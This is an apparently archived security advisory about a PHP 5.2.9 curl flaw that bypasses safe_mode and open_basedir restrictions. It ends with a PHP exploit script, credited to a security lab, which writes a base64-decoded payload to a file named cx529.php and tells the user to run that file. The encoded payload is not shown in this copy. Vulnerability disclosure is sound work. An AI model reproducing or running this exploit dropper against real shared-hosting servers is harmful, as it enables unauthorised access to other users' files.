source: https://www.securityfocus.com/bid/34475/info

PHP is prone to a 'safe_mode' and 'open_basedir' restriction-bypass vulnerability. Successful exploits could allow an attacker to access files in unauthorized locations.

This vulnerability would be an issue in shared-hosting configurations where multiple users can create and execute arbitrary PHP script code, with the 'safe_mode' and 'open_basedir' restrictions assumed to isolate the users from each other.

PHP 5.2.9 is vulnerable; other versions may also be affected.

<?php
/* SecurityReason.com - Security Audit Stuff

PHP 5.2.9 curl safe_mode & open_basedir bypass
http://securityreason.com/achievement_securityalert/61

exploit from "SecurityReason - Security Audit" lab.
for legal use only

http://securityreason.com/achievement_exploitalert/11

author: Maksymilian Arciemowicz
cxib [a&t] securityreason [0.0] com

R.I.P. ladyBMS

*/

$freiheit=fopen('./cx529.php', 'w');

fwrite($freiheit, base64_decode("
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"));

fclose($freiheit);

echo "exploit has been generated . use cx529.php file";
?>